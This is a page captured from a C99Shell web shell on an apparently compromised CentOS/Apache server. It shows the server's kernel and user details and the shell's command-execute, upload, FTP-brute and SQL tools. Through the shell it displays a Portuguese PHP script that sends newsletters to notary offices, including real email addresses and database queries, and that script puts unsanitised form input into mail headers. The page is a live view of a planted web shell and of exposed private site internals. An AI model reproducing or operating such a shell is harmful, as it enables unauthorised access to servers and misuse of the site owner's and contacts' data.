!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/newsletter/newsletter_i/   drwxr-xr-x
Free 9.4 GB of 93.48 GB (10.06%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     newsletter_gravaold.php (23.14 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
#############################################################################
    # Nome: newsletter_grava.php                                                #
    # System: Irpen                                                             #
    # Criado por: Breno Henrique Vivarelli                                      #
    # Empresa: Netnigro                                                         #
    # E-mail: breno@netnigro.com.br                                             #
    # Descrição: Gravação das newsletter enviadas                               #
    # Histórico:                                                                #
    #    . 23/09/2008 - Breno Henrique Vivarelli                                #
    #            Criação da Página                                              # 
    #############################################################################
    
    // Includes
    
include "conexaoBD.php";    
    include 
"sentencas_sql.php";
    include 
"funcoes_uteis.php";
    
//include(INCLUDES . "valida_usuario.inc.php");
    
    //Funções
    
function EnviaEmailOficio($assunto$texto$email_destino$email_destino2)
    {
        
//Cabeçalho
        
$headers "From: IRPEN <contato@arpenpr.org.br>\n";
        
$headers .= "MIME-Version: 1.0\n";
        
$headers .= "Content-Type: text/html; charset=iso-8859-1\n";  

        
//$email_destino = "ti@netnigro.com.br";
        
        
if($email_destino == "contato@arpenpr.org.br")
        {
            
//$headers         .= "Bcc: Netnigro <marcio@netnigro.com.br>\n"; 
            
$headers .= "Bcc : cron.irpen@netnigro.com.br\n";
            
//$email_destino      = "marcio@netnigro.com.br";
            
$email_destino "bianca@arpenpr.org.br";
            
$email_destino2    .= "Bcc: marcio@netnigro.com.br \n"
        }else{
            
$headers .= "Cc: " $email_destino2 "\n"
        }

        
//$headers .= "Bcc: Netnigro <marcio@netnigro.com.br>\n"; 
        
$headers .= "Bcc : cron.irpen@netnigro.com.br\n";
        
        
$corpo_email "<html>
                                <head>
                                    <title>
$assunto</title>
                                    <style type=\"text/css\">
                                        body {
                                            font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
                                            font-size: 12px;
                                            text-align: justify;
                                            width: 640px;
                                            max-width: 640px;
                                            margin: auto; 
                                        }
                                    </style>
                                </head>
                                <body>
                                    <p><img src=\"http://www.arpenpr.org.br/imagens/newsletter/cabecalho.png\"></p>" 
                                     
stripslashes($texto) .
                                    
"<p><img src=\"http://www.arpenpr.org.br/imagens/newsletter/rodape.png\"></p>
                                </body>
                            </html>"
;          
                   
        
//Enviando cópia para marcio@netnigro.com.br
        //mail('marcio@netnigro.com.br',$assunto ." (Dest: $email_destino)",$corpo_email,$headers);
        
        
if(mail($email_destino,$assunto,$corpo_email,$headers))
        {
            
//die("1 email enviado($email_destino ,$email_destino2)!");
            
return true;
        }
        else
        {
            die(
"ERRO");
            return 
false;
        }
    }
    
    
// Parâmetros provênientes da requisição
    
$tipo_destinatario $_POST["rdgTipoDestinatario"];
    
$assunto           $_POST["txtAssunto"];
    
$data_envio        FormataData($_POST["txtDataEnvio"],"BD");
    
$hora_envio        $_POST["txtHoraEnvio"];
    
$texto             $_POST["txtConteudo"]; 
    
    
$data_envio $data_envio " " $hora_envio;
    
    if(
$tipo_destinatario == "E")
    {
        
//teste para envio de email, enviar email para os oficios das seguintes regioes
        
$sql_regioes "SELECT DISTINCT(OFI_RowID), contatos.CON_RowID, contatos.CON_Email, contatos.CON_Email2
                FROM irp_regioes, cidades, cidades distritos, oficios, contatos 
                WHERE irp_regioes.REG_RowID = cidades.CID_Regiao_DR 
                AND distritos.CID_Cidades_DR <> 0 
                AND distritos.CID_Cidades_DR = cidades.CID_RowID 
                AND (oficios.OFI_Cidades_DR IN (cidades.CID_RowID, distritos.CID_RowID)) 
                AND oficios.OFI_RowID = contatos.CON_Oficios_DR 
                AND oficios.OFI_AtivoSN = 'S' 
                AND contatos.CON_AtivoSN = 'S' 
                AND contatos.CON_Descricao <> 'DESATIVADO' 
                AND irp_regioes.REG_RowID IN ('R23', 'R26', 'R25', 'R24', 'R22', 'R04', 'R28', 'R29') 
        "
;
        
        
$array_oficios = array();        
        
$rs_oficios_regioes  $conexao->query($sql_regioes);
        
//echo "<pre>"; print_r($rs_oficios_regioes); echo "</pre>";
        
if($rs_oficios_regioes->num_rows 0
        {
            while(
$dados_oficio $rs_oficios_regioes->fetch_array()) 
            {
                 
$cod_oficio     $dados_oficio["OFI_RowID"]; 
                 
$cod_contato    $dados_oficio["CON_RowID"];  
                 
$email_contato  $dados_oficio["CON_Email"];
                 
$email_contato2 $dados_oficio["CON_Email2"];
                 
                 
//echo $cod_oficio . "<br />";
                 
                 
$array_oficios[] = $cod_oficio ";" $cod_contato ";" .  $email_contato;
            }
        } 
        
        
//$destinatarios = $array_oficios;
        
        
        
$destinatarios $_POST["cboDestinatarios"];
    }
    else if(
$tipo_destinatario == "A"//oficios associados
    
{
        
$sqlOfi "
                SELECt DISTINCT OFI_RowID, contatos.CON_RowID, contatos.CON_Email, contatos.CON_Email2 
                FROM contatos 
                INNER JOIN oficios ON CON_Oficios_DR = OFI_RowID
                WHERE OFI_AtivoSN = 'S' 
                AND CON_AtivoSN = 'S'
                AND CON_AssociadoSN = 'S' 
                AND contatos.CON_Descricao <> 'DESATIVADO'
        "
;
        
        
$array_oficios = array();        
        
$rsOfi  $conexao->query($sqlOfi);
        
//echo "<pre>"; print_r($rs_oficios_regioes); echo "</pre>";
        
if($rsOfi->num_rows 0
        {
            while(
$dados_oficio $rsOfi->fetch_array()) 
            {
                 
$cod_oficio     $dados_oficio["OFI_RowID"]; 
                 
$cod_contato    $dados_oficio["CON_RowID"];  
                 
$email_contato  $dados_oficio["CON_Email"];
                 
$email_contato2 $dados_oficio["CON_Email2"];
                 
                 
//echo $cod_oficio . "<br />";
                 
                 
$array_oficios[] = $cod_oficio ";" $cod_contato ";" .  $email_contato ";" $email_contato2;
            }
        } 
        
        
$destinatarios $array_oficios;
    }
    else if(
$tipo_destinatario == "N"//oficios nao associados
    
{
        
$sqlOfi "
                SELECT DISTINCT OFI_RowID, contatos.CON_RowID, contatos.CON_Email, contatos.CON_Email2 
                FROM contatos 
                INNER JOIN oficios ON CON_Oficios_DR = OFI_RowID
                WHERE OFI_AtivoSN = 'S' 
                AND CON_AtivoSN = 'S'
                AND CON_AssociadoSN = 'N' 
                AND contatos.CON_Descricao <> 'DESATIVADO'
        "
;
        
        
$array_oficios = array();        
        
$rsOfi  $conexao->query($sqlOfi);
        
//echo "<pre>"; print_r($rs_oficios_regioes); echo "</pre>";
        
if($rsOfi->num_rows 0
        {
            while(
$dados_oficio $rsOfi->fetch_array()) 
            {
                 
$cod_oficio     $dados_oficio["OFI_RowID"]; 
                 
$cod_contato    $dados_oficio["CON_RowID"];  
                 
$email_contato  $dados_oficio["CON_Email"];
                 
$email_contato2 $dados_oficio["CON_Email2"];
                 
                 
//echo $cod_oficio . "<br />";
                 
                 
$array_oficios[] = $cod_oficio ";" $cod_contato ";" .  $email_contato ";" $email_contato2;
            }
        } 
        
        
$destinatarios $array_oficios;
    }


    if(
$tipo_destinatario == "T"//Todos os oficios
    
{
        
$sqlOfi "
                SELECt DISTINCT OFI_RowID, contatos.CON_RowID, contatos.CON_Email, contatos.CON_Email2 
                FROM contatos 
                INNER JOIN oficios ON CON_Oficios_DR = OFI_RowID
                WHERE OFI_AtivoSN = 'S' 
                AND CON_AtivoSN = 'S'
                AND contatos.CON_Descricao <> 'DESATIVADO'
        "
;
        
        
$array_oficios = array();        
        
$rsOfi  $conexao->query($sqlOfi);
        
//echo "<pre>"; print_r($rs_oficios_regioes); echo "</pre>";
        
if($rsOfi->num_rows 0
        {
            while(
$dados_oficio $rsOfi->fetch_array()) 
            {
                 
$cod_oficio     $dados_oficio["OFI_RowID"]; 
                 
$cod_contato    $dados_oficio["CON_RowID"];  
                 
$email_contato  $dados_oficio["CON_Email"];
                 
$email_contato2 $dados_oficio["CON_Email2"];
                 
                 
//echo $cod_oficio . "<br />";
                 
                 
$array_oficios[] = $cod_oficio ";" $cod_contato ";" .  $email_contato ";" $email_contato2;
            }
        } 
        
        
$destinatarios $array_oficios;
    }
    
    
/*
    echo "<pre>";
    print_r($_POST);
    echo "</pre>";
    
    echo "<br><br><br>";
    echo $tipo_destinatario . " - QUERY " . $sqlOfi;
    echo "<br><br><br>";
    
    echo "destinatario";
    echo  "<pre>"; print_r($destinatarios); echo "</pre>";
    die();
*/    
    
    
if(strtotime($data_envio) < time())
    {
        
$enviadoSN "S";
    }
    else
    {
        
$enviadoSN "N";
    }
    
    
// Ação que o script deverá executar (Inclusão - I, Alteração - U, Ativação - A ou Inativação - IN)
    
$acao $_POST['hddAcao']; 
     
    
$erro false;       

    if(
$tipo_destinatario != "TS")
    {
        
//echo 'Errado!';
        //die();
        
switch($acao)
        {
            
// Inclusão de conteúdo
            
case "I":       
//                        $sql        = INCLUI_NEWSLETTER;
//                        $tipo_dados = TIPO_DADOS_INCLUI_NEWSLETTER;
//                        $parametros = array($texto,$data_envio,$enviadoSN);
//                        $msg        = "Newsletter enviada com sucesso!";
                        
//                        if($stmt = $conexao->prepare($sql)) 
//                        {
//                            // Anexa os parâmetros na senteça sql
//                            $res = db_stmt_bind_param($stmt,$tipo_dados,$parametros);
                             
//                            if($res)
//                            {
                                // Executa a query
//                                $exec = $stmt->execute();
                                
//                                if($exec)
//                                {  
                                    //Código da newsletter inserida
//                                    $cod_newsletter = $stmt->insert_id;
                                    
//                                    $stmt->close();                   
//                                    $conexao->commit();                                        
                                    
//                                    if($enviadoSN == "S")
//                                    {

//                                        if($tipo_destinatario == "T")
//                                        {
//                                            $sql_email_oficios = "SELECT CON_RowID, CON_Descricao, CON_Email, CON_Email2, CON_Oficios_DR FROM contatos "
//                                                               . "INNER JOIN oficios ON CON_Oficios_DR = OFI_RowID "
//                                                               . "WHERE CON_Tabeliao = 'S' AND CON_Descricao <> 'DESATIVADO' "
//                                                               . "AND CON_AtivoSN = 'S' AND CON_Email <> 'email@anoregpr.org.br' "
//                                                               . "ORDER BY CON_Oficios_DR ";
//                                            
//                                            /* 
//                                            $sql_email_oficios = "SELECT CON_RowID, CON_Descricao, CON_Email, 1 FROM contatos "
//                                                               . "WHERE CON_RowID = 12124 ";
//                                            */
//                                                  
//                                            $rs_email_oficios  = $conexao->query($sql_email_oficios);
//                                            
//                                            if($rs_email_oficios->num_rows > 0)  
//                                            {
//                                                while($email_oficio = $rs_email_oficios->fetch_array())   
//                                                {     
//                                                    //$cod_oficio    = 1;        
//                                                    $cod_oficio     = $email_oficio["CON_Oficios_DR"]; 
//                                                    $cod_contato    = $email_oficio["CON_RowID"];  
//                                                    $email_contato  = $email_oficio["CON_Email"];
//                                                    $email_contato2 = $email_oficio["CON_Email2"];
//                                                    
//                                                    
//                                                    //$email_contato='cron.irpen@netnigro.com.br';
//                                                    //$email_contato2='cron.irpen@netnigro.com.br';
//                                                    
//                                                    $retorno = EnviaEmailOficio($assunto,$texto,$email_contato,$email_contato2);
//                                                    if($retorno)
//                                                    {
//                                                        $enviadoSN = "S";
//                                                    }
//                                                    else
//                                                    {
//                                                        $enviadoSN = "N";
//                                                    }
//                                                    
//                                                    //Grava envio de newsletter ao ofício
//                                                    $sql        = INCLUI_NEWSLETTER_OFICIO;
//                                                    $tipo_dados = TIPO_DADOS_INCLUI_NEWSLETTER_OFICIO;
//                                                    $parametros = array($cod_newsletter,$cod_oficio,$cod_contato,$enviadoSN);
//                                                    
//                                                    if($stmt = $conexao->prepare($sql)) 
//                                                    {
//                                                        // Anexa os parâmetros na senteça sql
//                                                        $res = db_stmt_bind_param($stmt,$tipo_dados,$parametros);
//                                                         
//                                                        if($res)
//                                                        {
//                                                            // Executa a query
//                                                            $exec = $stmt->execute();
//                                                            
//                                                            if($exec)
//                                                            {                 
//                                                                $stmt->close();                   
//                                                                $conexao->commit();    
//                                                            } 
//                                                            else
//                                                            {
//                                                                $erro = true;  
//                                                                $msg = $stmt->error;
//                                                                $stmt->close();
//                                                            }           
//                                                        }
//                                                        else
//                                                        {       
//                                                            $erro = true;             
//                                                            $msg = "Erro1"; 
//                                                        }
//                                                    }
//                                                    else
//                                                    {    
//                                                        $erro = true;          
//                                                        $msg = "Erro2";  
//                                                    }
//                                                } 
//                                            }
//                                        }
//                                        else
//                                        {       
                                            
foreach($destinatarios as $destinatario)
                                            {
                                                list(
$cod_oficio,$cod_contato,$email_contato,$email_contato2) = explode(";",$destinatario);

                                                
//$email_contato='cron.irpen@netnigro.com.br';
                                                //$email_contato2='cron.irpen@netnigro.com.br';
                                                
                                                
$retorno EnviaEmailOficio($assunto,$texto,$email_contato,$email_contato2);
//                                                if($retorno)
//                                                {
//                                                    $enviadoSN = "S";
//                                                }
//                                                else
//                                                {
//                                                    $enviadoSN = "N";
//                                                }
//                                                
//                                                //Grava envio de newsletter ao ofício
//                                                $sql        = INCLUI_NEWSLETTER_OFICIO;
//                                                $tipo_dados = TIPO_DADOS_INCLUI_NEWSLETTER_OFICIO;
//                                                $parametros = array($cod_newsletter,$cod_oficio,$cod_contato,$enviadoSN);
//                                                
//                                                if($stmt = $conexao->prepare($sql)) 
//                                                {
//                                                    // Anexa os parâmetros na senteça sql
//                                                    $res = db_stmt_bind_param($stmt,$tipo_dados,$parametros);
//                                                     
//                                                    if($res)
//                                                    {
//                                                        // Executa a query
//                                                        $exec = $stmt->execute();
//                                                        
//                                                        if($exec)
//                                                        {                 
//                                                            $stmt->close();                   
//                                                            $conexao->commit();    
//                                                        } 
//                                                        else
//                                                        {
//                                                            $erro = true;  
//                                                            $msg = $stmt->error;
//                                                            $stmt->close();
//                                                        }           
//                                                    }
//                                                    else
//                                                    {       
//                                                        $erro = true;             
//                                                        $msg = "Erro3"; 
//                                                    }
//                                                }
//                                                else
//                                                {    
//                                                    $erro = true;          
//                                                    $msg = "Erro4";  
//                                                    $msg = $stmt->error . " " . $conexao->error; 
//                                                }

                                            
}  
//                                      }
//                                   }
//                                }   
//                                else
//                                {
//                                    $erro = true;  
//                                    $msg = $stmt->error;
//                                    $stmt->close();
//                                }           
//                            }
//                            else
//                            {       
//                                $erro = true;             
//                                $msg = "Erro5"; 
//                            }
//                        }
//                        else
//                        {    
//                            $erro = true;          
//                            $msg = "Erro6";  
//                        } 
                        
break;                             
        }   
    }
    else
    {
         
//echo 'Certo';
         //die();
        //$retorno = EnviaEmailOficio($assunto,$texto,"contato@arpenpr.org.br","bianca@arpenpr.org.br");
        
$retorno EnviaEmailOficio($assunto,$texto,"oscar@roko.com.br""oscar@roko.com.br");
        
        if(!
$retorno)
        {
            
$erro true;             
            
$msg "Erro1";
        }
        else
        {
            
$msg "Sucesso";
        }                 
    } 
    
    
$parametros_url = array("msg" => "$msg");
    if(
$erro)
    {
        
$parametros_url["erro"] = "S";                                   
    }
      
    
Redireciona("newsletter_cad.php",$parametros_url);
    
    
?>


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.005 ]--